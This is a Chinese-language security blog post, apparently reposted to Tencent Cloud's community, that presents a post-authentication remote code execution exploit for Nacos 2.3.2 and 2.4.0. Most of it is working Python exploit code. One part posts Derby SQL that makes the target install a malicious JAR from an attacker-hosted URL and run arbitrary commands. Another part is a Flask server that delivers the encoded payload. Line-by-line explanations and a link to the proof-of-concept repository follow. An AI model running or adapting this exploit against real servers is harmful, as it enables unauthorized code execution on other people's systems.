前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >0day - NACOS RCE漏洞

0day - NACOS RCE漏洞

作者头像
Khan安全团队
发布2024-07-16 14:00:09
6920
发布2024-07-16 14:00:09
举报
文章被收录于专栏:Khan安全团队

Nacos 是 Alibaba 开源的一款用于微服务架构的注册中心和配置中心。它为开发人员提供了轻量级的服务发现和配置管理功能。

影响范围

代码语言:javascript
复制
nacos 2.3.2
nacos 2.4.0
其他版本不确定
nacos 0day 需要登录到后才才能利用

代码分析

Service.py 漏洞利用函数

代码语言:javascript
复制
def exploit(target, command, service):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service)
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command)
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break
代码语言:javascript
复制
removal_url 和 derby_url:构建用于发送请求的URL。
for i in range(0, sys.maxsize):无限循环,直到成功利用漏洞。
id:生成一个随机字符串,用于标识SQL注入的payload。
post_sql:构建SQL注入的payload,安装一个恶意的Java函数。
option_sql:构建SQL语句,利用恶意函数执行命令。
get_sql:构建SQL查询,执行命令并获取结果。
requests.post:发送POST请求,上传恶意SQL。
requests.get:发送GET请求,执行命令并获取结果。

主函数

代码语言:javascript
复制
if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:calc:') or command
    exploit(target=target, command=command, service=service)
代码语言:javascript
复制
service:构建下载恶意Jar文件的URL。
target 和 command:从用户输入获取目标URL和要执行的命令。
exploit:调用漏洞利用函数。

Exploit.py

payload 是一个Base64编码的字符串,表示一个压缩文件(ZIP文件)

代码语言:javascript
复制
创建Flask应用

app = Flask(__name__)

创建一个Flask应用实例。

定义路由和视图函数

代码语言:javascript
复制
python
@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    response = Response(data, mimetype="application/octet-stream")
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
    return response

定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数。

data:将Base64编码的 payload 解码为二进制数据。

response:创建一个HTTP响应对象,包含解码后的数据,并设置MIME类型为 application/octet-stream(表示二进制文件)。

response.headers["Content-Disposition"]:可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。返回响应对象。

Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config 模块中读取。

项目地址:

https://github.com/ayoundzw/nacos-poc

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
微服务引擎 TSE
微服务引擎(Tencent Cloud Service Engine)提供开箱即用的云上全场景微服务解决方案。支持开源增强的云原生注册配置中心(Zookeeper、Nacos 和 Apollo),北极星网格(腾讯自研并开源的 PolarisMesh)、云原生 API 网关(Kong)以及微服务应用托管的弹性微服务平台。微服务引擎完全兼容开源版本的使用方式,在功能、可用性和可运维性等多个方面进行增强。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档